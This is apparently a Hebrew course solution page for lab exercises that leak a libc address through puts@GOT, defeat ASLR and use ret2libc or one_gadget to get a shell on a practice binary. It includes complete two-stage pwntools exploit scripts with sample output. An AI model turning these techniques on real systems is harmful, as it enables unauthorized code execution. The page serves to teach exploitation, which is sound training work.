4.4 דליפת libc ועקיפת ASLR פתרון
פתרון - libc leak ועקיפת ASLR¶
נעבור תרגיל אחרי תרגיל עם הפקודות האמיתיות, הפלט הצפוי, וה-exploit המלא בסוף. הכתובות בפלט הן דוגמה - אצלכם הן ישתנו בכל הרצה בגלל ASLR, וזה בדיוק העניין. אף פעם אל תעתיקו כתובת libc קבועה לסקריפט; תמיד חשבו אותה מהleak.
פתרון תרגיל 1 - להוכיח ש-ASLR מזיז את libc¶
מריצים ldd כמה פעמים ורואים בסיס אחר בכל פעם:
$ ldd ./leak | grep libc
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3a1c400000)
$ ldd ./leak | grep libc
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8e9d200000)
בדיקת ההגנות:
מציאת ה-offset עם cyclic:
from pwn import *
context.binary = ELF('./leak')
p = process('./leak')
p.recvuntil(b'overflow me:\n')
p.sendline(cyclic(200))
p.wait()
core = p.corefile
offset = cyclic_find(core.read(core.rsp, 8)) # what was on top of the stack at ret
log.info('offset = %d', offset) # 72
הbuffer 64 ועוד saved rbp של 8 נותנים offset 72.
התשובה לשאלת המחשבה: אמנם ה-offset של system בתוך libc קבוע, אבל הכתובת הסופית היא libc_base + offset(system), וה-libc_base אקראי ונקבע רק בזמן ריצה. לכן אי אפשר לכתוב אותו מראש - חייבים לגלות אותו בהרצה, וזה תפקיד הleak.
פתרון תרגיל 2 - מיפוי ה-GOT וה-PLT¶
מוצאים את הכתובות. objdump -R מציג את ה-relocations של ה-GOT:
$ objdump -R leak | grep puts
0000000000404018 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
$ objdump -d leak | grep 'call.*puts'
1169: e8 e2 fe ff ff call 1050 <puts@plt>
או, נוח יותר, מ-pwntools:
עכשיו בודקים ב-gdb מה יש ב-puts@got אחרי הקריאה הראשונה. עוצרים על הכניסה ל-vuln (אחרי ש-main כבר קראה ל-puts... למעשה main קוראת ל-vuln שקוראת ל-puts, אז נעצור אחרי ה-puts הראשון):
pwndbg> b *vuln+... (after the call to puts)
pwndbg> run
pwndbg> x/gx 0x404018
0x404018 <puts@got.plt>: 0x00007f3a1c480e50
הכתובת 0x7f3a1c480e50 יושבת בתוך libc (הבסיס היה 0x7f3a1c400000, וה-offset של puts הוא 0x80e50). אם עוצרים לפני הקריאה הראשונה ל-puts, נראה שם כתובת שמצביעה בחזרה ל-PLT stub בתוך הבינארי, לא ל-libc:
pwndbg> x/gx 0x404018
0x404018 <puts@got.plt>: 0x0000000000401036 <-- still points to the PLT, not libc
זה בדיוק הלקח: בקישור עצל, הכניסה מתמלאת בכתובת libc האמיתית רק בקריאה הראשונה. לכן נדליף רק פונקציה שכבר נקראה - puts מושלמת.
פתרון תרגיל 3 - שלב הleak וחישוב הבסיס¶
בונים את הleak chain, שולחים, ומפענחים:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./leak')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
offset = 72
rop = ROP(elf)
rop.call('puts', [elf.got['puts']]) # puts(&puts@got) -> leaks
rop.call('main') # return to main
log.info('leak chain:\n' + rop.dump())
payload = flat({offset: rop.chain()})
p = process('./leak')
p.recvuntil(b'overflow me:\n')
p.sendline(payload)
leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success('puts @ %#x', leaked)
libc.address = leaked - libc.symbols['puts']
log.success('libc base @ %#x', libc.address)
assert libc.address & 0xfff == 0
פלט לדוגמה:
[*] leak chain:
0x0000: 0x40125b pop rdi; ret
0x0008: 0x404018 [arg0] rdi = got.puts
0x0010: 0x401050 puts
0x0018: 0x401165 main
[+] puts @ 0x7f3a1c480e50
[+] libc base @ 0x7f3a1c400000
ה-assert עובר כי הבסיס נגמר ב-000. אילו היה נגמר במשהו אחר, זה סימן שה-libc לא נכון או שה-offset של puts לא תואם.
למה זה עבד: puts(&puts@got) הדפיסה את שמונת הבתים ב-puts@got, שהם הכתובת האמיתית של puts בזמן ריצה. puts עצרה ב-null אחרי 6 בתים משמעותיים, ljust ריפד ל-8, ו-u64 פענח. החיסור leaked - libc.symbols['puts'] נתן את הבסיס. איך להכליל: כל GOT leak עובדת ככה - בוחרים סמל פתור, מדפיסים אותו, מחסרים את ה-offset שלו.
פתרון תרגיל 4 - זיהוי גרסת ה-libc מהleak¶
מסתכלים רק על שלוש הספרות התחתונות של הleak. מריצים כמה פעמים:
run 1: puts @ 0x7f3a1c480e50 -> low bits: e50
run 2: puts @ 0x7f8e9d280e50 -> low bits: e50
run 3: puts @ 0x7f01aa2 80e50 -> low bits: e50
התחתונות e50 (ולמעשה שלוש הנקסות e50, כלומר 12 הביטים התחתונים) קבועות, כי ASLR מיישר את הבסיס לעמוד של 0x1000 - הביטים התחתונים של הבסיס תמיד אפס, אז הביטים התחתונים של הסמל שווים ל-offset הפנימי הקבוע.
מדליפים סמל שני לחיזוק (למשל printf באותה שיטה) ומחפשים:
$ ./find puts e50 printf ee0
ubuntu-glibc (libc6_2.31-0ubuntu9.9_amd64)
$ ./dump libc6_2.31-0ubuntu9.9_amd64 system str_bin_sh
offset_system = 0x50d70
str_bin_sh = 0x1d8678
או ב-libc.rip: מכניסים puts עם הסיומת e50 ו-printf עם ee0, מקבלים את הגרסה, ומורידים את ה-.so המדויק. עם ה-libc הזה בונים את שלב 2, גם בלי גישה למערכת המטרה.
למה זה עבד: 12 הביטים התחתונים של כל סמל אינווריאנטיים תחת ASLR, ולכן הם מפתח חיפוש ייחודי כמעט. איך להכליל: מול כל שרת שלא ידוע לכם ה-libc שלו, שני סמלים שדלפתם מספיקים לרוב לזהות את הגרסה המדויקת.
פתרון תרגיל 5 - שלב התקיפה ו-shell¶
מוסיפים את שלב 2 - ret2libc בכתובות המחושבות:
rop2 = ROP(libc)
binsh = next(libc.search(b'/bin/sh\x00'))
rop2.raw(rop2.find_gadget(['ret'])[0]) # aligns to 16 bytes (movaps)
rop2.call(libc.symbols['system'], [binsh])
log.info('exploit chain:\n' + rop2.dump())
payload2 = flat({offset: rop2.chain()})
p.recvuntil(b'overflow me:\n') # the second main prints again
p.sendline(payload2)
p.interactive()
הפלט, ואז shell:
[+] libc base @ 0x7f3a1c400000
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
אם היינו שוכחים את גאדג'ט ה-ret הראשון, היינו רואים קריסה כזו ב-gdb:
Program received signal SIGSEGV
=> 0x7f3a1c450db1 <do_system+915>: movaps XMMWORD PTR [rsp+0x50], xmm0
זה החתום המובהק של בעיית הalignment. גאדג'ט ה-ret הבודד מזיז את rsp ב-8 והופך rsp % 16 == 8 ל-0.
למה זה עבד: אחרי ששלב 1 החזיר אותנו ל-main, vuln רצה שוב וקיבלה את הpayload השני. הפעם rdi הצביע על /bin/sh בכתובת המחושבת, ו-system רצה בכתובת המחושבת. איך להכליל: זה ret2libc רגיל, רק שכל הכתובות באות מ-libc.address שגילינו, לא קבועות.
פתרון תרגיל 6 (בונוס) - הקשחה, שרת מרוחק, ו-one_gadget¶
הסקריפט המלא, המוקשח, שני השלבים בזרימה אחת:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./leak')
libc = ELF('./libc.so.6') # local, or the one identified from the leak
def conn():
if args.REMOTE:
return remote('127.0.0.1', 1337)
return process('./leak')
offset = 72
# ===== stage 1: leak =====
rop = ROP(elf)
rop.call('puts', [elf.got['puts']])
rop.call('main')
p = conn()
p.recvuntil(b'overflow me:\n')
p.sendline(flat({offset: rop.chain()}))
leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leaked - libc.symbols['puts']
log.success('libc base @ %#x', libc.address)
assert libc.address & 0xfff == 0, 'base not aligned -> wrong libc'
# ===== stage 2: system("/bin/sh") =====
rop2 = ROP(libc)
binsh = next(libc.search(b'/bin/sh\x00'))
rop2.raw(rop2.find_gadget(['ret'])[0])
rop2.call(libc.symbols['system'], [binsh])
p.recvuntil(b'overflow me:\n')
p.sendline(flat({offset: rop2.chain()}))
p.interactive()
מריצים מול שרת מקומי:
ומקבלים shell מרוחק, כש-ASLR דלוק.
לגבי one_gadget: מריצים על ה-libc ומקבלים כמה מועמדים עם התנאים שלהם:
$ one_gadget ./libc.so.6
0x50a37 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
...
במקום chain ה-system, שלב 2 הופך לקפיצה בודדת:
rop2 = ROP(libc)
rop2.raw(rop2.find_gadget(['ret'])[0]) # alignment, sometimes needed for the rsp constraint
rop2.raw(libc.address + 0x50a37) # one_gadget
p.sendline(flat({offset: rop2.chain()}))
למה זה עבד: one_gadget מריץ execve("/bin/sh", 0, 0) בקפיצה אחת, בלי לבנות ארגומנטים ידנית - כל עוד התנאי על האוגרים מתקיים ברגע הקפיצה. איך להכליל: אם gadget אחד לא עובד (התנאי לא מתקיים), עוברים לבא ברשימה, או חוזרים לchain system. נרחיב על one_gadget ועל בחירת המועמד הנכון ב-4.5.
מה חוזר מהתרגול הזה: GOT leak דרך puts, חישוב בסיס libc, זיהוי גרסה מ-12 הביטים התחתונים, וret2libc בכתובות מחושבות - זו התבנית שתחזור כמעט בכל אתגר pwn עם ASLR. מה שהופך תוקפה ל"אמינה" זה ה-assert על הבסיס ופענוח נכון של הleak; שני אלה חוסכים שעות של ניפוי שגיאות מול libc לא תואם.